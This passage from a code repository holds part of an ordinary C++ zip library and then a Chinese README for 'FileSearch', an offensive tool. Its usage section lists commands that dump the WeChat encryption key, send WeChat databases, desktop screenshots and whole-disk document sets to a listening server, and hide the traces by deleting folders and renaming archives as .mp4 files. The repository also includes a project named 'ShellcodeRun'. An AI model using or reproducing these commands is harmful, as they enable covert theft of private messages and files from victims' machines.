(TZip*)s.param; 2480 | return zip->read(buf,size); 2481 | } 2482 | 2483 | unsigned TZip::read(char *buf, unsigned size) 2484 | { if (bufin!=0) 2485 | { if (posin>=lenin) return 0; // end of input 2486 | ulg red = lenin-posin; 2487 | if (red>size) red=size; 2488 | memcpy(buf, bufin+posin, red); 2489 | posin += red; 2490 | ired += red; 2491 | crc = crc32(crc, (uch*)buf, red); 2492 | return red; 2493 | } 2494 | else if (hfin!=0) 2495 | { DWORD red; 2496 | BOOL ok = ReadFile(hfin,buf,size,&red,NULL); 2497 | if (!ok) return 0; 2498 | ired += red; 2499 | crc = crc32(crc, (uch*)buf, red); 2500 | return red; 2501 | } 2502 | else {oerr=ZR_NOTINITED; return 0;} 2503 | } 2504 | 2505 | ZRESULT TZip::iclose() 2506 | { if (selfclosehf && hfin!=0) CloseHandle(hfin); hfin=0; 2507 | bool mismatch = (isize!=-1 && isize!=ired); 2508 | isize=ired; // and crc has been being updated anyway 2509 | if (mismatch) return ZR_MISSIZE; 2510 | else return ZR_OK; 2511 | } 2512 | 2513 | 2514 | 2515 | ZRESULT TZip::ideflate(TZipFileInfo *zfi) 2516 | { if (state==0) state=new TState(); 2517 | // It's a very big object! 500k! We allocate it on the heap, because PocketPC's 2518 | // stack breaks if we try to put it all on the stack. It will be deleted lazily 2519 | state->err=0; 2520 | state->readfunc=sread; state->flush_outbuf=sflush; 2521 | state->param=this; state->level=8; state->seekable=iseekable; state->err=NULL; 2522 | // the following line will make ct_init realise it has to perform the init 2523 | state->ts.static_dtree[0].dl.len = 0; 2524 | // Thanks to Alvin77 for this crucial fix: 2525 | state->ds.window_size=0; 2526 | // I think that covers everything that needs to be initted. 2527 | // 2528 | bi_init(*state,buf, sizeof(buf), TRUE); // it used to be just 1024-size, not 16384 as here 2529 | ct_init(*state,&zfi->att); 2530 | lm_init(*state,state->level, &zfi->flg); 2531 | ulg sz = deflate(*state); 2532 | csize=sz; 2533 | ZRESULT r=ZR_OK; if (state->err!=NULL) r=ZR_FLATE; 2534 | return r; 2535 | } 2536 | 2537 | ZRESULT TZip::istore() 2538 | { ulg size=0; 2539 | for (;;) 2540 | { unsigned int cin=read(buf,16384); if (cin<=0 || cin==(unsigned int)EOF) break; 2541 | unsigned int cout = write(buf,cin); if (cout!=cin) return ZR_MISSIZE; 2542 | size += cin; 2543 | } 2544 | csize=size; 2545 | return ZR_OK; 2546 | } 2547 | 2548 | 2549 | 2550 | 2551 | 2552 | bool has_seeded=false; 2553 | ZRESULT TZip::Add(const TCHAR *odstzn, void *src,unsigned int len, DWORD flags) 2554 | { if (oerr) return ZR_FAILED; 2555 | if (hasputcen) return ZR_ENDED; 2556 | 2557 | // if we use password encryption, then every isize and csize is 12 bytes bigger 2558 | int passex=0; if (password!=0 && flags!=ZIP_FOLDER) passex=12; 2559 | 2560 | // zip has its own notion of what its names should look like: i.e. dir/file.stuff 2561 | TCHAR dstzn[MAX_PATH]; _tcscpy(dstzn,odstzn); 2562 | if (*dstzn==0) return ZR_ARGS; 2563 | TCHAR *d=dstzn; while (*d!=0) {if (*d=='\\') *d='/'; d++;} 2564 | bool isdir = (flags==ZIP_FOLDER); 2565 | bool needs_trailing_slash = (isdir && dstzn[_tcslen(dstzn)-1]!='/'); 2566 | int method=DEFLATE; if (isdir || HasZipSuffix(dstzn)) method=STORE; 2567 | 2568 | // now open whatever was our input source: 2569 | ZRESULT openres; 2570 | if (flags==ZIP_FILENAME) openres=open_file((const TCHAR*)src); 2571 | else if (flags==ZIP_HANDLE) openres=open_handle((HANDLE)src,len); 2572 | else if (flags==ZIP_MEMORY) openres=open_mem(src,len); 2573 | else if (flags==ZIP_FOLDER) openres=open_dir(); 2574 | else return ZR_ARGS; 2575 | if (openres!=ZR_OK) return openres; 2576 | 2577 | // A zip "entry" consists of a local header (which includes the file name), 2578 | // then the compressed data, and possibly an extended local header. 2579 | 2580 | // Initialize the local header 2581 | TZipFileInfo zfi; zfi.nxt=NULL; 2582 | strcpy(zfi.name,""); 2583 | #ifdef UNICODE 2584 | WideCharToMultiByte(CP_UTF8,0,dstzn,-1,zfi.iname,MAX_PATH,0,0); 2585 | #else 2586 | strcpy(zfi.iname,dstzn); 2587 | #endif 2588 | zfi.nam=strlen(zfi.iname); 2589 | if (needs_trailing_slash) {strcat(zfi.iname,"/"); zfi.nam++;} 2590 | strcpy(zfi.zname,""); 2591 | zfi.extra=NULL; zfi.ext=0; // extra header to go after this compressed data, and its length 2592 | zfi.cextra=NULL; zfi.cext=0; // extra header to go in the central end-of-zip directory, and its length 2593 | zfi.comment=NULL; zfi.com=0; // comment, and its length 2594 | zfi.mark = 1; 2595 | zfi.dosflag = 0; 2596 | zfi.att = (ush)BINARY; 2597 | zfi.vem = (ush)0xB17; // 0xB00 is win32 os-code. 0x17 is 23 in decimal: zip 2.3 2598 | zfi.ver = (ush)20; // Needs PKUNZIP 2.0 to unzip it 2599 | zfi.tim = timestamp; 2600 | // Even though we write the header now, it will have to be rewritten, since we don't know compressed size or crc. 2601 | zfi.crc = 0; // to be updated later 2602 | zfi.flg = 8; // 8 means 'there is an extra header'. Assume for the moment that we need it. 2603 | if (password!=0 && !isdir) zfi.flg=9; // and 1 means 'password-encrypted' 2604 | zfi.lflg = zfi.flg; // to be updated later 2605 | zfi.how = (ush)method; // to be updated later 2606 | zfi.siz = (ulg)(method==STORE && isize>=0 ? isize+passex : 0); // to be updated later 2607 | zfi.len = (ulg)(isize); // to be updated later 2608 | zfi.dsk = 0; 2609 | zfi.atx = attr; 2610 | zfi.off = writ+ooffset; // offset within file of the start of this local record 2611 | // stuff the 'times' structure into zfi.extra 2612 | 2613 | // nb. apparently there's a problem with PocketPC CE(zip)->CE(unzip) fails. And removing the following block fixes it up. 2614 | char xloc[EB_L_UT_SIZE]; zfi.extra=xloc; zfi.ext=EB_L_UT_SIZE; 2615 | char xcen[EB_C_UT_SIZE]; zfi.cextra=xcen; zfi.cext=EB_C_UT_SIZE; 2616 | xloc[0] = 'U'; 2617 | xloc[1] = 'T'; 2618 | xloc[2] = EB_UT_LEN(3); // length of data part of e.f. 2619 | xloc[3] = 0; 2620 | xloc[4] = EB_UT_FL_MTIME | EB_UT_FL_ATIME | EB_UT_FL_CTIME; 2621 | xloc[5] = (char)(times.mtime); 2622 | xloc[6] = (char)(times.mtime >> 8); 2623 | xloc[7] = (char)(times.mtime >> 16); 2624 | xloc[8] = (char)(times.mtime >> 24); 2625 | xloc[9] = (char)(times.atime); 2626 | xloc[10] = (char)(times.atime >> 8); 2627 | xloc[11] = (char)(times.atime >> 16); 2628 | xloc[12] = (char)(times.atime >> 24); 2629 | xloc[13] = (char)(times.ctime); 2630 | xloc[14] = (char)(times.ctime >> 8); 2631 | xloc[15] = (char)(times.ctime >> 16); 2632 | xloc[16] = (char)(times.ctime >> 24); 2633 | memcpy(zfi.cextra,zfi.extra,EB_C_UT_SIZE); 2634 | zfi.cextra[EB_LEN] = EB_UT_LEN(1); 2635 | 2636 | 2637 | // (1) Start by writing the local header: 2638 | int r = putlocal(&zfi,swrite,this); 2639 | if (r!=ZE_OK) {iclose(); return ZR_WRITE;} 2640 | writ += 4 + LOCHEAD + (unsigned int)zfi.nam + (unsigned int)zfi.ext; 2641 | if (oerr!=ZR_OK) {iclose(); return oerr;} 2642 | 2643 | // (1.5) if necessary, write the encryption header 2644 | keys[0]=305419896L; 2645 | keys[1]=591751049L; 2646 | keys[2]=878082192L; 2647 | for (const char *cp=password; cp!=0 && *cp!=0; cp++) update_keys(keys,*cp); 2648 | // generate some random bytes 2649 | if (!has_seeded) srand(GetTickCount()^(unsigned long)GetDesktopWindow()); 2650 | char encbuf[12]; for (int i=0; i<12; i++) encbuf[i]=(char)((rand()>>7)&0xff); 2651 | encbuf[11] = (char)((zfi.tim>>8)&0xff); 2652 | for (int ei=0; ei<12; ei++) encbuf[ei]=zencode(keys,encbuf[ei]); 2653 | if (password!=0 && !isdir) {swrite(this,encbuf,12); writ+=12;} 2654 | 2655 | //(2) Write deflated/stored file to zip file 2656 | ZRESULT writeres=ZR_OK; 2657 | encwriting = (password!=0 && !isdir); // an object member variable to say whether we write to disk encrypted 2658 | if (!isdir && method==DEFLATE) writeres=ideflate(&zfi); 2659 | else if (!isdir && method==STORE) writeres=istore(); 2660 | else if (isdir) csize=0; 2661 | encwriting = false; 2662 | iclose(); 2663 | writ += csize; 2664 | if (oerr!=ZR_OK) return oerr; 2665 | if (writeres!=ZR_OK) return ZR_WRITE; 2666 | 2667 | // (3) Either rewrite the local header with correct information... 2668 | bool first_header_has_size_right = (zfi.siz==csize+passex); 2669 | zfi.crc = crc; 2670 | zfi.siz = csize+passex; 2671 | zfi.len = isize; 2672 | if (ocanseek && (password==0 || isdir)) 2673 | { zfi.how = (ush)method; 2674 | if ((zfi.flg & 1) == 0) zfi.flg &= ~8; // clear the extended local header flag 2675 | zfi.lflg = zfi.flg; 2676 | // rewrite the local header: 2677 | if (!oseek(zfi.off-ooffset)) return ZR_SEEK; 2678 | if ((r = putlocal(&zfi, swrite,this)) != ZE_OK) return ZR_WRITE; 2679 | if (!oseek(writ)) return ZR_SEEK; 2680 | } 2681 | else 2682 | { // (4) ... or put an updated header at the end 2683 | if (zfi.how != (ush) method) return ZR_NOCHANGE; 2684 | if (method==STORE && !first_header_has_size_right) return ZR_NOCHANGE; 2685 | if ((r = putextended(&zfi, swrite,this)) != ZE_OK) return ZR_WRITE; 2686 | writ += 16L; 2687 | zfi.flg = zfi.lflg; // if flg modified by inflate, for the central index 2688 | } 2689 | if (oerr!=ZR_OK) return oerr; 2690 | 2691 | // Keep a copy of the zipfileinfo, for our end-of-zip directory 2692 | char *cextra = new char[zfi.cext]; memcpy(cextra,zfi.cextra,zfi.cext); zfi.cextra=cextra; 2693 | TZipFileInfo *pzfi = new TZipFileInfo; memcpy(pzfi,&zfi,sizeof(zfi)); 2694 | if (zfis==NULL) zfis=pzfi; 2695 | else {TZipFileInfo *z=zfis; while (z->nxt!=NULL) z=z->nxt; z->nxt=pzfi;} 2696 | return ZR_OK; 2697 | } 2698 | 2699 | ZRESULT TZip::AddCentral() 2700 | { // write central directory 2701 | int numentries = 0; 2702 | ulg pos_at_start_of_central = writ; 2703 | //ulg tot_unc_size=0, tot_compressed_size=0; 2704 | bool okay=true; 2705 | for (TZipFileInfo *zfi=zfis; zfi!=NULL; ) 2706 | { if (okay) 2707 | { int res = putcentral(zfi, swrite,this); 2708 | if (res!=ZE_OK) okay=false; 2709 | } 2710 | writ += 4 + CENHEAD + (unsigned int)zfi->nam + (unsigned int)zfi->cext + (unsigned int)zfi->com; 2711 | //tot_unc_size += zfi->len; 2712 | //tot_compressed_size += zfi->siz; 2713 | numentries++; 2714 | // 2715 | TZipFileInfo *zfinext = zfi->nxt; 2716 | if (zfi->cextra!=0) delete[] zfi->cextra; 2717 | delete zfi; 2718 | zfi = zfinext; 2719 | } 2720 | ulg center_size = writ - pos_at_start_of_central; 2721 | if (okay) 2722 | { int res = putend(numentries, center_size, pos_at_start_of_central+ooffset, 0, NULL, swrite,this); 2723 | if (res!=ZE_OK) okay=false; 2724 | writ += 4 + ENDHEAD + 0; 2725 | } 2726 | if (!okay) return ZR_WRITE; 2727 | return ZR_OK; 2728 | } 2729 | 2730 | 2731 | 2732 | 2733 | 2734 | ZRESULT lasterrorZ=ZR_OK; 2735 | 2736 | unsigned int FormatZipMessageZ(ZRESULT code, char *buf,unsigned int len) 2737 | { if (code==ZR_RECENT) code=lasterrorZ; 2738 | const char *msg="unknown zip result code"; 2739 | switch (code) 2740 | { case ZR_OK: msg="Success"; break; 2741 | case ZR_NODUPH: msg="Culdn't duplicate handle"; break; 2742 | case ZR_NOFILE: msg="Couldn't create/open file"; break; 2743 | case ZR_NOALLOC: msg="Failed to allocate memory"; break; 2744 | case ZR_WRITE: msg="Error writing to file"; break; 2745 | case ZR_NOTFOUND: msg="File not found in the zipfile"; break; 2746 | case ZR_MORE: msg="Still more data to unzip"; break; 2747 | case ZR_CORRUPT: msg="Zipfile is corrupt or not a zipfile"; break; 2748 | case ZR_READ: msg="Error reading file"; break; 2749 | case ZR_ARGS: msg="Caller: faulty arguments"; break; 2750 | case ZR_PARTIALUNZ: msg="Caller: the file had already been partially unzipped"; break; 2751 | case ZR_NOTMMAP: msg="Caller: can only get memory of a memory zipfile"; break; 2752 | case ZR_MEMSIZE: msg="Caller: not enough space allocated for memory zipfile"; break; 2753 | case ZR_FAILED: msg="Caller: there was a previous error"; break; 2754 | case ZR_ENDED: msg="Caller: additions to the zip have already been ended"; break; 2755 | case ZR_ZMODE: msg="Caller: mixing creation and opening of zip"; break; 2756 | case ZR_NOTINITED: msg="Zip-bug: internal initialisation not completed"; break; 2757 | case ZR_SEEK: msg="Zip-bug: trying to seek the unseekable"; break; 2758 | case ZR_MISSIZE: msg="Zip-bug: the anticipated size turned out wrong"; break; 2759 | case ZR_NOCHANGE: msg="Zip-bug: tried to change mind, but not allowed"; break; 2760 | case ZR_FLATE: msg="Zip-bug: an internal error during flation"; break; 2761 | } 2762 | unsigned int mlen=(unsigned int)strlen(msg); 2763 | if (buf==0 || len==0) return mlen; 2764 | unsigned int n=mlen; if (n+1>len) n=len-1; 2765 | strncpy(buf,msg,n); buf[n]=0; 2766 | return mlen; 2767 | } 2768 | 2769 | 2770 | 2771 | typedef struct 2772 | { DWORD flag; 2773 | TZip *zip; 2774 | } TZipHandleData; 2775 | 2776 | 2777 | HZIP CreateZipInternal(void *z,unsigned int len,DWORD flags, const char *password) 2778 | { TZip *zip = new TZip(password); 2779 | lasterrorZ = zip->Create(z,len,flags); 2780 | if (lasterrorZ!=ZR_OK) {delete zip; return 0;} 2781 | TZipHandleData *han = new TZipHandleData; 2782 | han->flag=2; han->zip=zip; return (HZIP)han; 2783 | } 2784 | HZIP CreateZipHandle(HANDLE h, const char *password) {return CreateZipInternal(h,0,ZIP_HANDLE,password);} 2785 | HZIP CreateZip(const TCHAR *fn, const char *password) {return CreateZipInternal((void*)fn,0,ZIP_FILENAME,password);} 2786 | HZIP CreateZip(void *z,unsigned int len, const char *password) {return CreateZipInternal(z,len,ZIP_MEMORY,password);} 2787 | 2788 | 2789 | ZRESULT ZipAddInternal(HZIP hz,const TCHAR *dstzn, void *src,unsigned int len, DWORD flags) 2790 | { if (hz==0) {lasterrorZ=ZR_ARGS;return ZR_ARGS;} 2791 | TZipHandleData *han = (TZipHandleData*)hz; 2792 | if (han->flag!=2) {lasterrorZ=ZR_ZMODE;return ZR_ZMODE;} 2793 | TZip *zip = han->zip; 2794 | lasterrorZ = zip->Add(dstzn,src,len,flags); 2795 | return lasterrorZ; 2796 | } 2797 | ZRESULT ZipAdd(HZIP hz,const TCHAR *dstzn, const TCHAR *fn) {return ZipAddInternal(hz,dstzn,(void*)fn,0,ZIP_FILENAME);} 2798 | ZRESULT ZipAdd(HZIP hz,const TCHAR *dstzn, void *src,unsigned int len) {return ZipAddInternal(hz,dstzn,src,len,ZIP_MEMORY);} 2799 | ZRESULT ZipAddHandle(HZIP hz,const TCHAR *dstzn, HANDLE h) {return ZipAddInternal(hz,dstzn,h,0,ZIP_HANDLE);} 2800 | ZRESULT ZipAddHandle(HZIP hz,const TCHAR *dstzn, HANDLE h, unsigned int len) {return ZipAddInternal(hz,dstzn,h,len,ZIP_HANDLE);} 2801 | ZRESULT ZipAddFolder(HZIP hz,const TCHAR *dstzn) {return ZipAddInternal(hz,dstzn,0,0,ZIP_FOLDER);} 2802 | 2803 | 2804 | 2805 | ZRESULT ZipGetMemory(HZIP hz, void **buf, unsigned long *len) 2806 | { if (hz==0) {if (buf!=0) *buf=0; if (len!=0) *len=0; lasterrorZ=ZR_ARGS;return ZR_ARGS;} 2807 | TZipHandleData *han = (TZipHandleData*)hz; 2808 | if (han->flag!=2) {lasterrorZ=ZR_ZMODE;return ZR_ZMODE;} 2809 | TZip *zip = han->zip; 2810 | lasterrorZ = zip->GetMemory(buf,len); 2811 | return lasterrorZ; 2812 | } 2813 | 2814 | ZRESULT CloseZipZ(HZIP hz) 2815 | { if (hz==0) {lasterrorZ=ZR_ARGS;return ZR_ARGS;} 2816 | TZipHandleData *han = (TZipHandleData*)hz; 2817 | if (han->flag!=2) {lasterrorZ=ZR_ZMODE;return ZR_ZMODE;} 2818 | TZip *zip = han->zip; 2819 | lasterrorZ = zip->Close(); 2820 | delete zip; 2821 | delete han; 2822 | return lasterrorZ; 2823 | } 2824 | 2825 | bool IsZipHandleZ(HZIP hz) 2826 | { if (hz==0) return false; 2827 | TZipHandleData *han = (TZipHandleData*)hz; 2828 | return (han->flag==2); 2829 | } 2830 | 2831 | -------------------------------------------------------------------------------- /FileUpload/Client/zip.h: -------------------------------------------------------------------------------- 1 | #ifndef _zip_H 2 | #define _zip_H 3 | 4 | 5 | // ZIP functions -- for creating zip files 6 | // This file is a repackaged form of the Info-Zip source code available 7 | // at www.info-zip.org. The original copyright notice may be found in 8 | // zip.cpp. The repackaging was done by Lucian Wischik to simplify and 9 | // extend its use in Windows/C++. Also to add encryption and unicode. 10 | 11 | 12 | #ifndef _unzip_H 13 | DECLARE_HANDLE(HZIP); 14 | #endif 15 | // An HZIP identifies a zip file that is being created 16 | 17 | typedef DWORD ZRESULT; 18 | // return codes from any of the zip functions. Listed later. 19 | 20 | 21 | 22 | HZIP CreateZip(const TCHAR *fn, const char *password); 23 | HZIP CreateZip(void *buf,unsigned int len, const char *password); 24 | HZIP CreateZipHandle(HANDLE h, const char *password); 25 | // CreateZip - call this to start the creation of a zip file. 26 | // As the zip is being created, it will be stored somewhere: 27 | // to a pipe: CreateZipHandle(hpipe_write); 28 | // in a file (by handle): CreateZipHandle(hfile); 29 | // in a file (by name): CreateZip("c:\\test.zip"); 30 | // in memory: CreateZip(buf, len); 31 | // or in pagefile memory: CreateZip(0, len); 32 | // The final case stores it in memory backed by the system paging file, 33 | // where the zip may not exceed len bytes. This is a bit friendlier than 34 | // allocating memory with new[]: it won't lead to fragmentation, and the 35 | // memory won't be touched unless needed. That means you can give very 36 | // large estimates of the maximum-size without too much worry. 37 | // As for the password, it lets you encrypt every file in the archive. 38 | // (This api doesn't support per-file encryption.) 39 | // Note: because pipes don't allow random access, the structure of a zipfile 40 | // created into a pipe is slightly different from that created into a file 41 | // or memory. In particular, the compressed-size of the item cannot be 42 | // stored in the zipfile until after the item itself. (Also, for an item added 43 | // itself via a pipe, the uncompressed-size might not either be known until 44 | // after.) This is not normally a problem. But if you try to unzip via a pipe 45 | // as well, then the unzipper will not know these things about the item until 46 | // after it has been unzipped. Therefore: for unzippers which don't just write 47 | // each item to disk or to a pipe, but instead pre-allocate memory space into 48 | // which to unzip them, then either you have to create the zip not to a pipe, 49 | // or you have to add items not from a pipe, or at least when adding items 50 | // from a pipe you have to specify the length. 51 | // Note: for windows-ce, you cannot close the handle until after CloseZip. 52 | // but for real windows, the zip makes its own copy of your handle, so you 53 | // can close yours anytime. 54 | 55 | 56 | ZRESULT ZipAdd(HZIP hz,const TCHAR *dstzn, const TCHAR *fn); 57 | ZRESULT ZipAdd(HZIP hz,const TCHAR *dstzn, void *src,unsigned int len); 58 | ZRESULT ZipAddHandle(HZIP hz,const TCHAR *dstzn, HANDLE h); 59 | ZRESULT ZipAddHandle(HZIP hz,const TCHAR *dstzn, HANDLE h, unsigned int len); 60 | ZRESULT ZipAddFolder(HZIP hz,const TCHAR *dstzn); 61 | // ZipAdd - call this for each file to be added to the zip. 62 | // dstzn is the name that the file will be stored as in the zip file. 63 | // The file to be added to the zip can come 64 | // from a pipe: ZipAddHandle(hz,"file.dat", hpipe_read); 65 | // from a file: ZipAddHandle(hz,"file.dat", hfile); 66 | // from a filen: ZipAdd(hz,"file.dat", "c:\\docs\\origfile.dat"); 67 | // from memory: ZipAdd(hz,"subdir\\file.dat", buf,len); 68 | // (folder): ZipAddFolder(hz,"subdir"); 69 | // Note: if adding an item from a pipe, and if also creating the zip file itself 70 | // to a pipe, then you might wish to pass a non-zero length to the ZipAddHandle 71 | // function. This will let the zipfile store the item's size ahead of the 72 | // compressed item itself, which in turn makes it easier when unzipping the 73 | // zipfile from a pipe. 74 | 75 | ZRESULT ZipGetMemory(HZIP hz, void **buf, unsigned long *len); 76 | // ZipGetMemory - If the zip was created in memory, via ZipCreate(0,len), 77 | // then this function will return information about that memory block. 78 | // buf will receive a pointer to its start, and len its length. 79 | // Note: you can't add any more after calling this. 80 | 81 | ZRESULT CloseZip(HZIP hz); 82 | // CloseZip - the zip handle must be closed with this function. 83 | 84 | unsigned int FormatZipMessage(ZRESULT code, TCHAR *buf,unsigned int len); 85 | // FormatZipMessage - given an error code, formats it as a string. 86 | // It returns the length of the error message. If buf/len points 87 | // to a real buffer, then it also writes as much as possible into there. 88 | 89 | 90 | 91 | // These are the result codes: 92 | #define ZR_OK 0x00000000 // nb. the pseudo-code zr-recent is never returned, 93 | #define ZR_RECENT 0x00000001 // but can be passed to FormatZipMessage. 94 | // The following come from general system stuff (e.g. files not openable) 95 | #define ZR_GENMASK 0x0000FF00 96 | #define ZR_NODUPH 0x00000100 // couldn't duplicate the handle 97 | #define ZR_NOFILE 0x00000200 // couldn't create/open the file 98 | #define ZR_NOALLOC 0x00000300 // failed to allocate some resource 99 | #define ZR_WRITE 0x00000400 // a general error writing to the file 100 | #define ZR_NOTFOUND 0x00000500 // couldn't find that file in the zip 101 | #define ZR_MORE 0x00000600 // there's still more data to be unzipped 102 | #define ZR_CORRUPT 0x00000700 // the zipfile is corrupt or not a zipfile 103 | #define ZR_READ 0x00000800 // a general error reading the file 104 | // The following come from mistakes on the part of the caller 105 | #define ZR_CALLERMASK 0x00FF0000 106 | #define ZR_ARGS 0x00010000 // general mistake with the arguments 107 | #define ZR_NOTMMAP 0x00020000 // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't 108 | #define ZR_MEMSIZE 0x00030000 // the memory size is too small 109 | #define ZR_FAILED 0x00040000 // the thing was already failed when you called this function 110 | #define ZR_ENDED 0x00050000 // the zip creation has already been closed 111 | #define ZR_MISSIZE 0x00060000 // the indicated input file size turned out mistaken 112 | #define ZR_PARTIALUNZ 0x00070000 // the file had already been partially unzipped 113 | #define ZR_ZMODE 0x00080000 // tried to mix creating/opening a zip 114 | // The following come from bugs within the zip library itself 115 | #define ZR_BUGMASK 0xFF000000 116 | #define ZR_NOTINITED 0x01000000 // initialisation didn't work 117 | #define ZR_SEEK 0x02000000 // trying to seek in an unseekable file 118 | #define ZR_NOCHANGE 0x04000000 // changed its mind on storage, but not allowed 119 | #define ZR_FLATE 0x05000000 // an internal error in the de/inflation code 120 | 121 | 122 | 123 | 124 | 125 | 126 | // e.g. 127 | // 128 | // (1) Traditional use, creating a zipfile from existing files 129 | // HZIP hz = CreateZip("c:\\simple1.zip",0); 130 | // ZipAdd(hz,"znsimple.bmp", "c:\\simple.bmp"); 131 | // ZipAdd(hz,"znsimple.txt", "c:\\simple.txt"); 132 | // CloseZip(hz); 133 | // 134 | // (2) Memory use, creating an auto-allocated mem-based zip file from various sources 135 | // HZIP hz = CreateZip(0,100000, 0); 136 | // // adding a conventional file... 137 | // ZipAdd(hz,"src1.txt", "c:\\src1.txt"); 138 | // // adding something from memory... 139 | // char buf[1000]; for (int i=0; i<1000; i++) buf[i]=(char)(i&0x7F); 140 | // ZipAdd(hz,"file.dat", buf,1000); 141 | // // adding something from a pipe... 142 | // HANDLE hread,hwrite; CreatePipe(&hread,&hwrite,NULL,0); 143 | // HANDLE hthread = CreateThread(0,0,ThreadFunc,(void*)hwrite,0,0); 144 | // ZipAdd(hz,"unz3.dat", hread,1000); // the '1000' is optional. 145 | // WaitForSingleObject(hthread,INFINITE); 146 | // CloseHandle(hthread); CloseHandle(hread); 147 | // ... meanwhile DWORD WINAPI ThreadFunc(void *dat) 148 | // { HANDLE hwrite = (HANDLE)dat; 149 | // char buf[1000]={17}; 150 | // DWORD writ; WriteFile(hwrite,buf,1000,&writ,NULL); 151 | // CloseHandle(hwrite); 152 | // return 0; 153 | // } 154 | // // and now that the zip is created, let's do something with it: 155 | // void *zbuf; unsigned long zlen; ZipGetMemory(hz,&zbuf,&zlen); 156 | // HANDLE hfz = CreateFile("test2.zip",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); 157 | // DWORD writ; WriteFile(hfz,zbuf,zlen,&writ,NULL); 158 | // CloseHandle(hfz); 159 | // CloseZip(hz); 160 | // 161 | // (3) Handle use, for file handles and pipes 162 | // HANDLE hzread,hzwrite; CreatePipe(&hzread,&hzwrite,0,0); 163 | // HANDLE hthread = CreateThread(0,0,ZipReceiverThread,(void*)hzread,0,0); 164 | // HZIP hz = CreateZipHandle(hzwrite,0); 165 | // // ... add to it 166 | // CloseZip(hz); 167 | // CloseHandle(hzwrite); 168 | // WaitForSingleObject(hthread,INFINITE); 169 | // CloseHandle(hthread); 170 | // ... meanwhile DWORD WINAPI ZipReceiverThread(void *dat) 171 | // { HANDLE hread = (HANDLE)dat; 172 | // char buf[1000]; 173 | // while (true) 174 | // { DWORD red; ReadFile(hread,buf,1000,&red,NULL); 175 | // // ... and do something with this zip data we're receiving 176 | // if (red==0) break; 177 | // } 178 | // CloseHandle(hread); 179 | // return 0; 180 | // } 181 | 182 | 183 | 184 | // Now we indulge in a little skullduggery so that the code works whether 185 | // the user has included just zip or both zip and unzip. 186 | // Idea: if header files for both zip and unzip are present, then presumably 187 | // the cpp files for zip and unzip are both present, so we will call 188 | // one or the other of them based on a dynamic choice. If the header file 189 | // for only one is present, then we will bind to that particular one. 190 | ZRESULT CloseZipZ(HZIP hz); 191 | unsigned int FormatZipMessageZ(ZRESULT code, char *buf,unsigned int len); 192 | bool IsZipHandleZ(HZIP hz); 193 | #ifdef _unzip_H 194 | #undef CloseZip 195 | #define CloseZip(hz) (IsZipHandleZ(hz)?CloseZipZ(hz):CloseZipU(hz)) 196 | #else 197 | #define CloseZip CloseZipZ 198 | #define FormatZipMessage FormatZipMessageZ 199 | #endif 200 | 201 | 202 | 203 | #endif 204 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### Server 2 | 3 | 4 | ```plain 5 | Server.exe port # 默认8888端口 6 | ``` 7 | 8 | ### Command 9 | 10 | ```plain 11 | [+] FileSearch.exe dumpkey # 获取微信密钥 12 | [+] FileSearch.exe send 127.0.0.1 8888 # 从默认路径回传微信数据库 13 | [+] FileSearch.exe send 127.0.0.1 8888 vxpath # 指定微信数据库路径 14 | [+] FileSearch.exe photo 127.0.0.1 8888 # 桌面截屏回传 15 | [+] FileSearch.exe search d:\ .docx # 查找指定类型文件 16 | [+] FileSearch.exe upload path 127.0.0.1 8888 # 上传文件 17 | [+] FileSearch.exe uploads path 127.0.0.1 8888 # 上传文件夹 18 | [+] FileSearch.exe all 127.0.0.1 8888 # 全盘获取指定类型文件 19 | [+] FileSearch.exe user 127.0.0.1 8888 # c:\users目录下查找类型文件 20 | ``` 21 | 22 | ### 更新说明 23 | 24 | 1、all参数排除了c盘符查找指定类型文件,避免大量缓存文件造成卡顿,添加user参数在c:\users目录下查找 25 | 26 | 可自行修改需要上传的文件类型(747行),默认为: 27 | 28 | ```plain 29 | const char* filetype[] = { ".doc",".xls", ".pdf" ,".docx",".xlsx",".txt",".bat",".ppt",".pptx" }; 30 | ``` 31 | 32 | 2、运行成功后会自动删除生成出来的文件夹以及压缩包,压缩包文件随机修改成了mp4后缀 33 | 34 | 3、优化了查找文件匹配方式,支持模糊匹配或精确匹配 35 | 36 | 4、新增uploads参数遍历指定文件夹压缩上传功能 37 | 38 | 5、新增photo参数桌面截屏回传功能 39 | 40 | ### 功能展示: 41 | 42 | ![img](https://cdn.nlark.com/yuque/0/2022/png/32539762/1668769423893-416c9225-1319-4133-a468-3cb6cee900d4.png) 43 | 44 | ![img](https://cdn.nlark.com/yuque/0/2022/png/32539762/1668770076653-85c5e09c-e9a8-436f-8ce5-8987cc079882.png) 45 | 46 | ![img](https://cdn.nlark.com/yuque/0/2022/png/32539762/1668772513228-738d3cd4-5aef-49e5-9d31-6df8d9c6e8f9.png) 47 | 48 | ## 已知问题: 49 | 50 | 大文件(G级)传输回来后压缩包损坏无法正常打开,经过多次测试发现是c++ zip库压缩的问题, 51 | 52 | 暂时使用以下两种办法解决: 53 | 54 | 1、上传Rar.exe压缩后再使用upload_file方法进行回传 55 | 56 | ```plain 57 | rar.exe a -k -r -s -m1 bak.rar "path" 58 | ``` 59 | 60 | 2、使用WinRAR内置修复功能或者使用[DiskInternals ZIP](https://www.diskinternals.com/zip-repair/)进行修复损坏文件 61 | 62 | > 后续还会更新~ 63 | 64 | 如果发现缺陷请提交 issue,非常感谢! 65 | 66 | #### 本人失业多年,已不参与大小HW活动的攻击方了,若溯源到id与本人无关 67 | 68 | #### 免责声明 69 | 70 | 本工具仅能在取得足够合法授权的企业安全建设中使用,在使用本工具过程中,您应确保自己所有行为符合当地的法律法规。 如您在使用本工具的过程中存在任何非法行为,您将自行承担所有后果,本工具所有开发者和所有贡献者不承担任何法律及连带责任。 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。 您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 71 | 72 | -------------------------------------------------------------------------------- /SocketServer/Server.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.1145 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ShellcodeRun", "Server\ShellcodeRun.vcxproj", 